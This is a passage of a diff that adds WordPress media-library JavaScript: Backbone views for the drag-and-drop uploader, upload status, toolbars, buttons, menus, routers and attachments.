+	 * @param {object} [options]                   Options hash passed to the view.
+	 * @param {object} [options.uploader]          Uploader properties.
+	 * @param {jQuery} [options.uploader.browser]
+	 * @param {jQuery} [options.uploader.dropzone] jQuery collection of the dropzone.
+	 * @param {object} [options.uploader.params]
+	 */
+	media.view.UploaderWindow = media.View.extend({
+		tagName:   'div',
+		className: 'uploader-window',
+		template:  media.template('uploader-window'),
+
+		initialize: function() {
+			var uploader;
+
+			this.$browser = $('<a href="#" class="browser" />').hide().appendTo('body');
+
+			uploader = this.options.uploader = _.defaults( this.options.uploader || {}, {
+				dropzone:  this.$el,
+				browser:   this.$browser,
+				params:    {}
+			});
+
+			// Ensure the dropzone is a jQuery collection.
+			if ( uploader.dropzone && ! (uploader.dropzone instanceof $) ) {
+				uploader.dropzone = $( uploader.dropzone );
+			}
+
+			this.controller.on( 'activate', this.refresh, this );
+
+			this.controller.on( 'detach', function() {
+				this.$browser.remove();
+			}, this );
+		},
+
+		refresh: function() {
+			if ( this.uploader ) {
+				this.uploader.refresh();
+			}
+		},
+
+		ready: function() {
+			var postId = media.view.settings.post.id,
+				dropzone;
+
+			// If the uploader already exists, bail.
+			if ( this.uploader ) {
+				return;
+			}
+
+			if ( postId ) {
+				this.options.uploader.params.post_id = postId;
+			}
+			this.uploader = new wp.Uploader( this.options.uploader );
+
+			dropzone = this.uploader.dropzone;
+			dropzone.on( 'dropzone:enter', _.bind( this.show, this ) );
+			dropzone.on( 'dropzone:leave', _.bind( this.hide, this ) );
+
+			$( this.uploader ).on( 'uploader:ready', _.bind( this._ready, this ) );
+		},
+
+		_ready: function() {
+			this.controller.trigger( 'uploader:ready' );
+		},
+
+		show: function() {
+			var $el = this.$el.show();
+
+			// Ensure that the animation is triggered by waiting until
+			// the transparent element is painted into the DOM.
+			_.defer( function() {
+				$el.css({ opacity: 1 });
+			});
+		},
+
+		hide: function() {
+			var $el = this.$el.css({ opacity: 0 });
+
+			media.transition( $el ).done( function() {
+				// Transition end events are subject to race conditions.
+				// Make sure that the value is set as intended.
+				if ( '0' === $el.css('opacity') ) {
+					$el.hide();
+				}
+			});
+
+			// https://core.trac.wordpress.org/ticket/27341
+			_.delay( function() {
+				if ( '0' === $el.css('opacity') && $el.is(':visible') ) {
+					$el.hide();
+				}
+			}, 500 );
+		}
+	});
+
+	/**
+	 * Creates a dropzone on WP editor instances (elements with .wp-editor-wrap
+	 * or #wp-fullscreen-body) and relays drag'n'dropped files to a media workflow.
+	 *
+	 * wp.media.view.EditorUploader
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.EditorUploader = media.View.extend({
+		tagName:   'div',
+		className: 'uploader-editor',
+		template:  media.template( 'uploader-editor' ),
+
+		localDrag: false,
+		overContainer: false,
+		overDropzone: false,
+		draggingFile: null,
+
+		/**
+		 * Bind drag'n'drop events to callbacks.
+		 */
+		initialize: function() {
+			var self = this;
+
+			this.initialized = false;
+
+			// Bail if not enabled or UA does not support drag'n'drop or File API.
+			if ( ! window.tinyMCEPreInit || ! window.tinyMCEPreInit.dragDropUpload || ! this.browserSupport() ) {
+				return this;
+			}
+
+			this.$document = $(document);
+			this.dropzones = [];
+			this.files = [];
+
+			this.$document.on( 'drop', '.uploader-editor', _.bind( this.drop, this ) );
+			this.$document.on( 'dragover', '.uploader-editor', _.bind( this.dropzoneDragover, this ) );
+			this.$document.on( 'dragleave', '.uploader-editor', _.bind( this.dropzoneDragleave, this ) );
+			this.$document.on( 'click', '.uploader-editor', _.bind( this.click, this ) );
+
+			this.$document.on( 'dragover', _.bind( this.containerDragover, this ) );
+			this.$document.on( 'dragleave', _.bind( this.containerDragleave, this ) );
+
+			this.$document.on( 'dragstart dragend drop', function( event ) {
+				self.localDrag = event.type === 'dragstart';
+			});
+
+			this.initialized = true;
+			return this;
+		},
+
+		/**
+		 * Check browser support for drag'n'drop.
+		 *
+		 * @return Boolean
+		 */
+		browserSupport: function() {
+			var supports = false, div = document.createElement('div');
+
+			supports = ( 'draggable' in div ) || ( 'ondragstart' in div && 'ondrop' in div );
+			supports = supports && !! ( window.File && window.FileList && window.FileReader );
+			return supports;
+		},
+
+		isDraggingFile: function( event ) {
+			if ( this.draggingFile !== null ) {
+				return this.draggingFile;
+			}
+
+			if ( _.isUndefined( event.originalEvent ) || _.isUndefined( event.originalEvent.dataTransfer ) ) {
+				return false;
+			}
+
+			this.draggingFile = _.indexOf( event.originalEvent.dataTransfer.types, 'Files' ) > -1 &&
+				_.indexOf( event.originalEvent.dataTransfer.types, 'text/plain' ) === -1;
+
+			return this.draggingFile;
+		},
+
+		refresh: function( e ) {
+			var dropzone_id;
+			for ( dropzone_id in this.dropzones ) {
+				// Hide the dropzones only if dragging has left the screen.
+				this.dropzones[ dropzone_id ].toggle( this.overContainer || this.overDropzone );
+			}
+
+			if ( ! _.isUndefined( e ) ) {
+				$( e.target ).closest( '.uploader-editor' ).toggleClass( 'droppable', this.overDropzone );
+			}
+
+			if ( ! this.overContainer && ! this.overDropzone ) {
+				this.draggingFile = null;
+			}
+
+			return this;
+		},
+
+		render: function() {
+			if ( ! this.initialized ) {
+				return this;
+			}
+
+			media.View.prototype.render.apply( this, arguments );
+			$( '.wp-editor-wrap, #wp-fullscreen-body' ).each( _.bind( this.attach, this ) );
+			return this;
+		},
+
+		attach: function( index, editor ) {
+			// Attach a dropzone to an editor.
+			var dropzone = this.$el.clone();
+			this.dropzones.push( dropzone );
+			$( editor ).append( dropzone );
+			return this;
+		},
+
+		/**
+		 * When a file is dropped on the editor uploader, open up an editor media workflow
+		 * and upload the file immediately.
+		 *
+		 * @param  {jQuery.Event} event The 'drop' event.
+		 */
+		drop: function( event ) {
+			var $wrap = null, uploadView;
+
+			this.containerDragleave( event );
+			this.dropzoneDragleave( event );
+
+			this.files = event.originalEvent.dataTransfer.files;
+			if ( this.files.length < 1 ) {
+				return;
+			}
+
+			// Set the active editor to the drop target.
+			$wrap = $( event.target ).parents( '.wp-editor-wrap' );
+			if ( $wrap.length > 0 && $wrap[0].id ) {
+				window.wpActiveEditor = $wrap[0].id.slice( 3, -5 );
+			}
+
+			if ( ! this.workflow ) {
+				this.workflow = wp.media.editor.open( 'content', {
+					frame:    'post',
+					state:    'insert',
+					title:    wp.media.view.l10n.addMedia,
+					multiple: true
+				});
+				uploadView = this.workflow.uploader;
+				if ( uploadView.uploader && uploadView.uploader.ready ) {
+					this.addFiles.apply( this );
+				} else {
+					this.workflow.on( 'uploader:ready', this.addFiles, this );
+				}
+			} else {
+				this.workflow.state().reset();
+				this.addFiles.apply( this );
+				this.workflow.open();
+			}
+
+			return false;
+		},
+
+		/**
+		 * Add the files to the uploader.
+		 */
+		addFiles: function() {
+			if ( this.files.length ) {
+				this.workflow.uploader.uploader.uploader.addFile( _.toArray( this.files ) );
+				this.files = [];
+			}
+			return this;
+		},
+
+		containerDragover: function( event ) {
+			if ( this.localDrag || ! this.isDraggingFile( event ) ) {
+				return;
+			}
+
+			this.overContainer = true;
+			this.refresh();
+		},
+
+		containerDragleave: function() {
+			this.overContainer = false;
+
+			// Throttle dragleave because it's called when bouncing from some elements to others.
+			_.delay( _.bind( this.refresh, this ), 50 );
+		},
+
+		dropzoneDragover: function( event ) {
+			if ( this.localDrag || ! this.isDraggingFile( event ) ) {
+				return;
+			}
+
+			this.overDropzone = true;
+			this.refresh( event );
+			return false;
+		},
+
+		dropzoneDragleave: function( e ) {
+			this.overDropzone = false;
+			_.delay( _.bind( this.refresh, this, e ), 50 );
+		},
+
+		click: function( e ) {
+			// In the rare case where the dropzone gets stuck, hide it on click.
+			this.containerDragleave( e );
+			this.dropzoneDragleave( e );
+			this.localDrag = false;
+		}
+	});
+
+	/**
+	 * wp.media.view.UploaderInline
+	 *
+	 * The inline uploader that shows up in the 'Upload Files' tab.
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.UploaderInline = media.View.extend({
+		tagName:   'div',
+		className: 'uploader-inline',
+		template:  media.template('uploader-inline'),
+
+		events: {
+			'click .close': 'hide'
+		},
+
+		initialize: function() {
+			_.defaults( this.options, {
+				message: '',
+				status:  true,
+				canClose: false
+			});
+
+			if ( ! this.options.$browser && this.controller.uploader ) {
+				this.options.$browser = this.controller.uploader.$browser;
+			}
+
+			if ( _.isUndefined( this.options.postId ) ) {
+				this.options.postId = media.view.settings.post.id;
+			}
+
+			if ( this.options.status ) {
+				this.views.set( '.upload-inline-status', new media.view.UploaderStatus({
+					controller: this.controller
+				}) );
+			}
+		},
+
+		prepare: function() {
+			var suggestedWidth = this.controller.state().get('suggestedWidth'),
+				suggestedHeight = this.controller.state().get('suggestedHeight'),
+				data = {};
+
+			data.message = this.options.message;
+			data.canClose = this.options.canClose;
+
+			if ( suggestedWidth && suggestedHeight ) {
+				data.suggestedWidth = suggestedWidth;
+				data.suggestedHeight = suggestedHeight;
+			}
+
+			return data;
+		},
+		/**
+		 * @returns {wp.media.view.UploaderInline} Returns itself to allow chaining
+		 */
+		dispose: function() {
+			if ( this.disposing ) {
+				/**
+				 * call 'dispose' directly on the parent class
+				 */
+				return media.View.prototype.dispose.apply( this, arguments );
+			}
+
+			// Run remove on `dispose`, so we can be sure to refresh the
+			// uploader with a view-less DOM. Track whether we're disposing
+			// so we don't trigger an infinite loop.
+			this.disposing = true;
+			return this.remove();
+		},
+		/**
+		 * @returns {wp.media.view.UploaderInline} Returns itself to allow chaining
+		 */
+		remove: function() {
+			/**
+			 * call 'remove' directly on the parent class
+			 */
+			var result = media.View.prototype.remove.apply( this, arguments );
+
+			_.defer( _.bind( this.refresh, this ) );
+			return result;
+		},
+
+		refresh: function() {
+			var uploader = this.controller.uploader;
+
+			if ( uploader ) {
+				uploader.refresh();
+			}
+		},
+		/**
+		 * @returns {wp.media.view.UploaderInline}
+		 */
+		ready: function() {
+			var $browser = this.options.$browser,
+				$placeholder;
+
+			if ( this.controller.uploader ) {
+				$placeholder = this.$('.browser');
+
+				// Check if we've already replaced the placeholder.
+				if ( $placeholder[0] === $browser[0] ) {
+					return;
+				}
+
+				$browser.detach().text( $placeholder.text() );
+				$browser[0].className = $placeholder[0].className;
+				$placeholder.replaceWith( $browser.show() );
+			}
+
+			this.refresh();
+			return this;
+		},
+		show: function() {
+			this.$el.removeClass( 'hidden' );
+		},
+		hide: function() {
+			this.$el.addClass( 'hidden' );
+		}
+
+	});
+
+	/**
+	 * wp.media.view.UploaderStatus
+	 *
+	 * An uploader status for on-going uploads.
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.UploaderStatus = media.View.extend({
+		className: 'media-uploader-status',
+		template:  media.template('uploader-status'),
+
+		events: {
+			'click .upload-dismiss-errors': 'dismiss'
+		},
+
+		initialize: function() {
+			this.queue = wp.Uploader.queue;
+			this.queue.on( 'add remove reset', this.visibility, this );
+			this.queue.on( 'add remove reset change:percent', this.progress, this );
+			this.queue.on( 'add remove reset change:uploading', this.info, this );
+
+			this.errors = wp.Uploader.errors;
+			this.errors.reset();
+			this.errors.on( 'add remove reset', this.visibility, this );
+			this.errors.on( 'add', this.error, this );
+		},
+		/**
+		 * @global wp.Uploader
+		 * @returns {wp.media.view.UploaderStatus}
+		 */
+		dispose: function() {
+			wp.Uploader.queue.off( null, null, this );
+			/**
+			 * call 'dispose' directly on the parent class
+			 */
+			media.View.prototype.dispose.apply( this, arguments );
+			return this;
+		},
+
+		visibility: function() {
+			this.$el.toggleClass( 'uploading', !! this.queue.length );
+			this.$el.toggleClass( 'errors', !! this.errors.length );
+			this.$el.toggle( !! this.queue.length || !! this.errors.length );
+		},
+
+		ready: function() {
+			_.each({
+				'$bar':      '.media-progress-bar div',
+				'$index':    '.upload-index',
+				'$total':    '.upload-total',
+				'$filename': '.upload-filename'
+			}, function( selector, key ) {
+				this[ key ] = this.$( selector );
+			}, this );
+
+			this.visibility();
+			this.progress();
+			this.info();
+		},
+
+		progress: function() {
+			var queue = this.queue,
+				$bar = this.$bar;
+
+			if ( ! $bar || ! queue.length ) {
+				return;
+			}
+
+			$bar.width( ( queue.reduce( function( memo, attachment ) {
+				if ( ! attachment.get('uploading') ) {
+					return memo + 100;
+				}
+
+				var percent = attachment.get('percent');
+				return memo + ( _.isNumber( percent ) ? percent : 100 );
+			}, 0 ) / queue.length ) + '%' );
+		},
+
+		info: function() {
+			var queue = this.queue,
+				index = 0, active;
+
+			if ( ! queue.length ) {
+				return;
+			}
+
+			active = this.queue.find( function( attachment, i ) {
+				index = i;
+				return attachment.get('uploading');
+			});
+
+			this.$index.text( index + 1 );
+			this.$total.text( queue.length );
+			this.$filename.html( active ? this.filename( active.get('filename') ) : '' );
+		},
+		/**
+		 * @param {string} filename
+		 * @returns {string}
+		 */
+		filename: function( filename ) {
+			return media.truncate( _.escape( filename ), 24 );
+		},
+		/**
+		 * @param {Backbone.Model} error
+		 */
+		error: function( error ) {
+			this.views.add( '.upload-errors', new media.view.UploaderStatusError({
+				filename: this.filename( error.get('file').name ),
+				message:  error.get('message')
+			}), { at: 0 });
+		},
+
+		/**
+		 * @global wp.Uploader
+		 *
+		 * @param {Object} event
+		 */
+		dismiss: function( event ) {
+			var errors = this.views.get('.upload-errors');
+
+			event.preventDefault();
+
+			if ( errors ) {
+				_.invoke( errors, 'remove' );
+			}
+			wp.Uploader.errors.reset();
+		}
+	});
+
+	/**
+	 * wp.media.view.UploaderStatusError
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.UploaderStatusError = media.View.extend({
+		className: 'upload-error',
+		template:  media.template('uploader-status-error')
+	});
+
+	/**
+	 * wp.media.view.Toolbar
+	 *
+	 * A toolbar which consists of a primary and a secondary section. Each sections
+	 * can be filled with views.
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Toolbar = media.View.extend({
+		tagName:   'div',
+		className: 'media-toolbar',
+
+		initialize: function() {
+			var state = this.controller.state(),
+				selection = this.selection = state.get('selection'),
+				library = this.library = state.get('library');
+
+			this._views = {};
+
+			// The toolbar is composed of two `PriorityList` views.
+			this.primary   = new media.view.PriorityList();
+			this.secondary = new media.view.PriorityList();
+			this.primary.$el.addClass('media-toolbar-primary search-form');
+			this.secondary.$el.addClass('media-toolbar-secondary');
+
+			this.views.set([ this.secondary, this.primary ]);
+
+			if ( this.options.items ) {
+				this.set( this.options.items, { silent: true });
+			}
+
+			if ( ! this.options.silent ) {
+				this.render();
+			}
+
+			if ( selection ) {
+				selection.on( 'add remove reset', this.refresh, this );
+			}
+
+			if ( library ) {
+				library.on( 'add remove reset', this.refresh, this );
+			}
+		},
+		/**
+		 * @returns {wp.media.view.Toolbar} Returns itsef to allow chaining
+		 */
+		dispose: function() {
+			if ( this.selection ) {
+				this.selection.off( null, null, this );
+			}
+
+			if ( this.library ) {
+				this.library.off( null, null, this );
+			}
+			/**
+			 * call 'dispose' directly on the parent class
+			 */
+			return media.View.prototype.dispose.apply( this, arguments );
+		},
+
+		ready: function() {
+			this.refresh();
+		},
+
+		/**
+		 * @param {string} id
+		 * @param {Backbone.View|Object} view
+		 * @param {Object} [options={}]
+		 * @returns {wp.media.view.Toolbar} Returns itself to allow chaining
+		 */
+		set: function( id, view, options ) {
+			var list;
+			options = options || {};
+
+			// Accept an object with an `id` : `view` mapping.
+			if ( _.isObject( id ) ) {
+				_.each( id, function( view, id ) {
+					this.set( id, view, { silent: true });
+				}, this );
+
+			} else {
+				if ( ! ( view instanceof Backbone.View ) ) {
+					view.classes = [ 'media-button-' + id ].concat( view.classes || [] );
+					view = new media.view.Button( view ).render();
+				}
+
+				view.controller = view.controller || this.controller;
+
+				this._views[ id ] = view;
+
+				list = view.options.priority < 0 ? 'secondary' : 'primary';
+				this[ list ].set( id, view, options );
+			}
+
+			if ( ! options.silent ) {
+				this.refresh();
+			}
+
+			return this;
+		},
+		/**
+		 * @param {string} id
+		 * @returns {wp.media.view.Button}
+		 */
+		get: function( id ) {
+			return this._views[ id ];
+		},
+		/**
+		 * @param {string} id
+		 * @param {Object} options
+		 * @returns {wp.media.view.Toolbar} Returns itself to allow chaining
+		 */
+		unset: function( id, options ) {
+			delete this._views[ id ];
+			this.primary.unset( id, options );
+			this.secondary.unset( id, options );
+
+			if ( ! options || ! options.silent ) {
+				this.refresh();
+			}
+			return this;
+		},
+
+		refresh: function() {
+			var state = this.controller.state(),
+				library = state.get('library'),
+				selection = state.get('selection');
+
+			_.each( this._views, function( button ) {
+				if ( ! button.model || ! button.options || ! button.options.requires ) {
+					return;
+				}
+
+				var requires = button.options.requires,
+					disabled = false;
+
+				// Prevent insertion of attachments if any of them are still uploading
+				disabled = _.some( selection.models, function( attachment ) {
+					return attachment.get('uploading') === true;
+				});
+
+				if ( requires.selection && selection && ! selection.length ) {
+					disabled = true;
+				} else if ( requires.library && library && ! library.length ) {
+					disabled = true;
+				}
+				button.model.set( 'disabled', disabled );
+			});
+		}
+	});
+
+	/**
+	 * wp.media.view.Toolbar.Select
+	 *
+	 * @class
+	 * @augments wp.media.view.Toolbar
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Toolbar.Select = media.view.Toolbar.extend({
+		initialize: function() {
+			var options = this.options;
+
+			_.bindAll( this, 'clickSelect' );
+
+			_.defaults( options, {
+				event: 'select',
+				state: false,
+				reset: true,
+				close: true,
+				text:  l10n.select,
+
+				// Does the button rely on the selection?
+				requires: {
+					selection: true
+				}
+			});
+
+			options.items = _.defaults( options.items || {}, {
+				select: {
+					style:    'primary',
+					text:     options.text,
+					priority: 80,
+					click:    this.clickSelect,
+					requires: options.requires
+				}
+			});
+			// Call 'initialize' directly on the parent class.
+			media.view.Toolbar.prototype.initialize.apply( this, arguments );
+		},
+
+		clickSelect: function() {
+			var options = this.options,
+				controller = this.controller;
+
+			if ( options.close ) {
+				controller.close();
+			}
+
+			if ( options.event ) {
+				controller.state().trigger( options.event );
+			}
+
+			if ( options.state ) {
+				controller.setState( options.state );
+			}
+
+			if ( options.reset ) {
+				controller.reset();
+			}
+		}
+	});
+
+	/**
+	 * wp.media.view.Toolbar.Embed
+	 *
+	 * @class
+	 * @augments wp.media.view.Toolbar.Select
+	 * @augments wp.media.view.Toolbar
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Toolbar.Embed = media.view.Toolbar.Select.extend({
+		initialize: function() {
+			_.defaults( this.options, {
+				text: l10n.insertIntoPost,
+				requires: false
+			});
+			// Call 'initialize' directly on the parent class.
+			media.view.Toolbar.Select.prototype.initialize.apply( this, arguments );
+		},
+
+		refresh: function() {
+			var url = this.controller.state().props.get('url');
+			this.get('select').model.set( 'disabled', ! url || url === 'http://' );
+			/**
+			 * call 'refresh' directly on the parent class
+			 */
+			media.view.Toolbar.Select.prototype.refresh.apply( this, arguments );
+		}
+	});
+
+	/**
+	 * wp.media.view.Button
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Button = media.View.extend({
+		tagName:    'a',
+		className:  'media-button',
+		attributes: { href: '#' },
+
+		events: {
+			'click': 'click'
+		},
+
+		defaults: {
+			text:     '',
+			style:    '',
+			size:     'large',
+			disabled: false
+		},
+
+		initialize: function() {
+			/**
+			 * Create a model with the provided `defaults`.
+			 *
+			 * @member {Backbone.Model}
+			 */
+			this.model = new Backbone.Model( this.defaults );
+
+			// If any of the `options` have a key from `defaults`, apply its
+			// value to the `model` and remove it from the `options object.
+			_.each( this.defaults, function( def, key ) {
+				var value = this.options[ key ];
+				if ( _.isUndefined( value ) ) {
+					return;
+				}
+
+				this.model.set( key, value );
+				delete this.options[ key ];
+			}, this );
+
+			this.model.on( 'change', this.render, this );
+		},
+		/**
+		 * @returns {wp.media.view.Button} Returns itself to allow chaining
+		 */
+		render: function() {
+			var classes = [ 'button', this.className ],
+				model = this.model.toJSON();
+
+			if ( model.style ) {
+				classes.push( 'button-' + model.style );
+			}
+
+			if ( model.size ) {
+				classes.push( 'button-' + model.size );
+			}
+
+			classes = _.uniq( classes.concat( this.options.classes ) );
+			this.el.className = classes.join(' ');
+
+			this.$el.attr( 'disabled', model.disabled );
+			this.$el.text( this.model.get('text') );
+
+			return this;
+		},
+		/**
+		 * @param {Object} event
+		 */
+		click: function( event ) {
+			if ( '#' === this.attributes.href ) {
+				event.preventDefault();
+			}
+
+			if ( this.options.click && ! this.model.get('disabled') ) {
+				this.options.click.apply( this, arguments );
+			}
+		}
+	});
+
+	/**
+	 * wp.media.view.ButtonGroup
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.ButtonGroup = media.View.extend({
+		tagName:   'div',
+		className: 'button-group button-large media-button-group',
+
+		initialize: function() {
+			/**
+			 * @member {wp.media.view.Button[]}
+			 */
+			this.buttons = _.map( this.options.buttons || [], function( button ) {
+				if ( button instanceof Backbone.View ) {
+					return button;
+				} else {
+					return new media.view.Button( button ).render();
+				}
+			});
+
+			delete this.options.buttons;
+
+			if ( this.options.classes ) {
+				this.$el.addClass( this.options.classes );
+			}
+		},
+
+		/**
+		 * @returns {wp.media.view.ButtonGroup}
+		 */
+		render: function() {
+			this.$el.html( $( _.pluck( this.buttons, 'el' ) ).detach() );
+			return this;
+		}
+	});
+
+	/**
+	 * wp.media.view.PriorityList
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.PriorityList = media.View.extend({
+		tagName:   'div',
+
+		initialize: function() {
+			this._views = {};
+
+			this.set( _.extend( {}, this._views, this.options.views ), { silent: true });
+			delete this.options.views;
+
+			if ( ! this.options.silent ) {
+				this.render();
+			}
+		},
+		/**
+		 * @param {string} id
+		 * @param {wp.media.View|Object} view
+		 * @param {Object} options
+		 * @returns {wp.media.view.PriorityList} Returns itself to allow chaining
+		 */
+		set: function( id, view, options ) {
+			var priority, views, index;
+
+			options = options || {};
+
+			// Accept an object with an `id` : `view` mapping.
+			if ( _.isObject( id ) ) {
+				_.each( id, function( view, id ) {
+					this.set( id, view );
+				}, this );
+				return this;
+			}
+
+			if ( ! (view instanceof Backbone.View) ) {
+				view = this.toView( view, id, options );
+			}
+			view.controller = view.controller || this.controller;
+
+			this.unset( id );
+
+			priority = view.options.priority || 10;
+			views = this.views.get() || [];
+
+			_.find( views, function( existing, i ) {
+				if ( existing.options.priority > priority ) {
+					index = i;
+					return true;
+				}
+			});
+
+			this._views[ id ] = view;
+			this.views.add( view, {
+				at: _.isNumber( index ) ? index : views.length || 0
+			});
+
+			return this;
+		},
+		/**
+		 * @param {string} id
+		 * @returns {wp.media.View}
+		 */
+		get: function( id ) {
+			return this._views[ id ];
+		},
+		/**
+		 * @param {string} id
+		 * @returns {wp.media.view.PriorityList}
+		 */
+		unset: function( id ) {
+			var view = this.get( id );
+
+			if ( view ) {
+				view.remove();
+			}
+
+			delete this._views[ id ];
+			return this;
+		},
+		/**
+		 * @param {Object} options
+		 * @returns {wp.media.View}
+		 */
+		toView: function( options ) {
+			return new media.View( options );
+		}
+	});
+
+	/**
+	 * wp.media.view.MenuItem
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.MenuItem = media.View.extend({
+		tagName:   'a',
+		className: 'media-menu-item',
+
+		attributes: {
+			href: '#'
+		},
+
+		events: {
+			'click': '_click'
+		},
+		/**
+		 * @param {Object} event
+		 */
+		_click: function( event ) {
+			var clickOverride = this.options.click;
+
+			if ( event ) {
+				event.preventDefault();
+			}
+
+			if ( clickOverride ) {
+				clickOverride.call( this );
+			} else {
+				this.click();
+			}
+
+			// When selecting a tab along the left side,
+			// focus should be transferred into the main panel
+			if ( ! isTouchDevice ) {
+				$('.media-frame-content input').first().focus();
+			}
+		},
+
+		click: function() {
+			var state = this.options.state;
+
+			if ( state ) {
+				this.controller.setState( state );
+				this.views.parent.$el.removeClass( 'visible' ); // TODO: or hide on any click, see below
+			}
+		},
+		/**
+		 * @returns {wp.media.view.MenuItem} returns itself to allow chaining
+		 */
+		render: function() {
+			var options = this.options;
+
+			if ( options.text ) {
+				this.$el.text( options.text );
+			} else if ( options.html ) {
+				this.$el.html( options.html );
+			}
+
+			return this;
+		}
+	});
+
+	/**
+	 * wp.media.view.Menu
+	 *
+	 * @class
+	 * @augments wp.media.view.PriorityList
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Menu = media.view.PriorityList.extend({
+		tagName:   'div',
+		className: 'media-menu',
+		property:  'state',
+		ItemView:  media.view.MenuItem,
+		region:    'menu',
+
+		/* TODO: alternatively hide on any click anywhere
+		events: {
+			'click': 'click'
+		},
+
+		click: function() {
+			this.$el.removeClass( 'visible' );
+		},
+		*/
+
+		/**
+		 * @param {Object} options
+		 * @param {string} id
+		 * @returns {wp.media.View}
+		 */
+		toView: function( options, id ) {
+			options = options || {};
+			options[ this.property ] = options[ this.property ] || id;
+			return new this.ItemView( options ).render();
+		},
+
+		ready: function() {
+			/**
+			 * call 'ready' directly on the parent class
+			 */
+			media.view.PriorityList.prototype.ready.apply( this, arguments );
+			this.visibility();
+		},
+
+		set: function() {
+			/**
+			 * call 'set' directly on the parent class
+			 */
+			media.view.PriorityList.prototype.set.apply( this, arguments );
+			this.visibility();
+		},
+
+		unset: function() {
+			/**
+			 * call 'unset' directly on the parent class
+			 */
+			media.view.PriorityList.prototype.unset.apply( this, arguments );
+			this.visibility();
+		},
+
+		visibility: function() {
+			var region = this.region,
+				view = this.controller[ region ].get(),
+				views = this.views.get(),
+				hide = ! views || views.length < 2;
+
+			if ( this === view ) {
+				this.controller.$el.toggleClass( 'hide-' + region, hide );
+			}
+		},
+		/**
+		 * @param {string} id
+		 */
+		select: function( id ) {
+			var view = this.get( id );
+
+			if ( ! view ) {
+				return;
+			}
+
+			this.deselect();
+			view.$el.addClass('active');
+		},
+
+		deselect: function() {
+			this.$el.children().removeClass('active');
+		},
+
+		hide: function( id ) {
+			var view = this.get( id );
+
+			if ( ! view ) {
+				return;
+			}
+
+			view.$el.addClass('hidden');
+		},
+
+		show: function( id ) {
+			var view = this.get( id );
+
+			if ( ! view ) {
+				return;
+			}
+
+			view.$el.removeClass('hidden');
+		}
+	});
+
+	/**
+	 * wp.media.view.RouterItem
+	 *
+	 * @class
+	 * @augments wp.media.view.MenuItem
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.RouterItem = media.view.MenuItem.extend({
+		/**
+		 * On click handler to activate the content region's corresponding mode.
+		 */
+		click: function() {
+			var contentMode = this.options.contentMode;
+			if ( contentMode ) {
+				this.controller.content.mode( contentMode );
+			}
+		}
+	});
+
+	/**
+	 * wp.media.view.Router
+	 *
+	 * @class
+	 * @augments wp.media.view.Menu
+	 * @augments wp.media.view.PriorityList
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Router = media.view.Menu.extend({
+		tagName:   'div',
+		className: 'media-router',
+		property:  'contentMode',
+		ItemView:  media.view.RouterItem,
+		region:    'router',
+
+		initialize: function() {
+			this.controller.on( 'content:render', this.update, this );
+			// Call 'initialize' directly on the parent class.
+			media.view.Menu.prototype.initialize.apply( this, arguments );
+		},
+
+		update: function() {
+			var mode = this.controller.content.mode();
+			if ( mode ) {
+				this.select( mode );
+			}
+		}
+	});
+
+	/**
+	 * wp.media.view.Sidebar
+	 *
+	 * @class
+	 * @augments wp.media.view.PriorityList
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Sidebar = media.view.PriorityList.extend({
+		className: 'media-sidebar'
+	});
+
+	/**
+	 * wp.media.view.Attachment
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Attachment = media.View.extend({
+		tagName:   'li',
+		className: 'attachment',
+		template:  media.template('attachment'),
+
+		attributes: function() {
+			return {
+				'tabIndex':     0,
+				'role':         'checkbox',
+				'aria-label':   this.model.get( 'title' ),
+				'aria-checked': false,
+				'data-id':      this.model.get( 'id' )
+			};
+		},
+
+		events: {
+			'click .js--select-attachment':   'toggleSelectionHandler',
+			'change [data-setting]':          'updateSetting',
+			'change [data-setting] input':    'updateSetting',
+			'change [data-setting] select':   'updateSetting',
+			'change [data-setting] textarea': 'updateSetting',
+			'click .close':                   'removeFromLibrary',
+			'click .check':                   'checkClickHandler',
+			'click a':                        'preventDefault',
+			'keydown .close':                 'removeFromLibrary',
+			'keydown':                        'toggleSelectionHandler'
+		},
+
+		buttons: {},
+
+		initialize: function() {
+			var selection = this.options.selection,
+				options = _.defaults( this.options, {
+					rerenderOnModelChange: true
+				} );
+
+			if ( options.rerenderOnModelChange ) {
+				this.model.on( 'change', this.render, this );
+			} else {
+				this.model.on( 'change:percent', this.progress, this );
+			}
+			this.model.on( 'change:title', this._syncTitle, this );
+			this.model.on( 'change:caption', this._syncCaption, this );
+			this.model.on( 'change:artist', this._syncArtist, this );
+			this.model.on( 'change:album', this._syncAlbum, this );
+
+			// Update the selection.
+			this.model.on( 'add', this.select, this );
+			this.model.on( 'remove', this.deselect, this );
+			if ( selection ) {
+				selection.on( 'reset', this.updateSelect, this );
